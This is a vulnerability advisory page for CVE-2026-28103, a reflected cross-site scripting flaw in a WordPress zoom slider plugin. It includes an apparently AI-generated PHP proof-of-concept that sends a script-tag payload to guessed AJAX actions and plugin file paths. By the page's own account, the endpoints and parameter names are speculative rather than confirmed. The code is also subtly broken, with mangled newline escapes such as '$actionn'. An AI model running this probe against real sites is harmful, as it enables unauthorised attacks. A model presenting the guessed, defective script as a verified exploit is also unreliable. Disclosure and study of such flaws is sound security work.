Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-28103: Responsive Zoom In/Out Slider WordPress Plugin <= 5.4.5 – Reflected Cross-Site Scripting (lbg_zoominoutslider)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 5.4.5
Patched Version
Disclosed February 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-28103 (metadata-based):
This vulnerability is a reflected cross-site scripting (XSS) issue in the Responsive Zoom In/Out Slider WordPress plugin. The CWE-79 classification confirms improper neutralization of input during web page generation. The vulnerability affects plugin versions up to and including 5.4.5. The description states insufficient input sanitization and output escaping enables unauthenticated attackers to inject arbitrary web scripts. Attackers must trick users into clicking a malicious link. The CVSS vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) indicates network-based attack complexity is low, no privileges are required, user interaction is required, scope changes, and impacts confidentiality and integrity. Atomic Edge research infers the vulnerable component is likely an AJAX handler or admin page parameter that echoes user input without proper escaping. WordPress plugins commonly expose AJAX endpoints via admin-ajax.php with action parameters derived from the plugin slug. The plugin slug ‘lbg_zoominoutslider’ suggests AJAX actions might follow patterns like ‘lbg_zoominoutslider_action’ or ‘zoominoutslider_action’. The fix likely requires adding proper output escaping functions like esc_html() or esc_js() to the vulnerable parameter echo. Impact includes session hijacking, malicious redirects, or administrative actions if an admin user is tricked into clicking the link.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28103 - Responsive Zoom In/Out Slider WordPress Plugin <= 5.4.5 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2026-28103
 * This script demonstrates reflected XSS via a vulnerable parameter.
 * Since exact endpoint/parameter are not confirmed, we test common WordPress AJAX patterns.
 * Assumptions: Plugin uses admin-ajax.php with action parameter containing plugin slug.
 */

$target_url = 'http://vulnerable-wordpress-site.com';

// Common AJAX action patterns for this plugin slug
$action_patterns = [
    'lbg_zoominoutslider_action',
    'zoominoutslider_action',
    'lbg_zoominoutslider',
    'zoominoutslider',
    'lbg_zoom_action',
    'zoom_action'
];

// XSS payload that triggers alert on successful injection
$payload = '<script>alert(document.domain)</script>';

foreach ($action_patterns as $action) {
    // Test GET parameter injection
    $url = $target_url . '/wp-admin/admin-ajax.php';
    $params = [
        'action' => $action,
        'vulnerable_param' => $payload  // Generic parameter name
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query($params));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 && strpos($response, $payload) !== false) {
        echo "Potential vulnerability found via GET: action=$actionn";
        echo "URL: $url?" . http_build_query($params) . "n";
    }
    
    // Test POST parameter injection
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 && strpos($response, $payload) !== false) {
        echo "Potential vulnerability found via POST: action=$actionn";
        echo "POST to: $url with parameters: " . print_r($params, true) . "n";
    }
}

// Also test direct plugin file access (common pattern)
$plugin_files = [
    '/wp-content/plugins/lbg_zoominoutslider/ajax-handler.php',
    '/wp-content/plugins/lbg_zoominoutslider/includes/ajax.php',
    '/wp-content/plugins/lbg_zoominoutslider/admin/ajax.php'
];

foreach ($plugin_files as $file) {
    $url = $target_url . $file . '?test_param=' . urlencode($payload);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 && strpos($response, $payload) !== false) {
        echo "Potential vulnerability via direct file: $filen";
        echo "URL: $urln";
    }
}
?>

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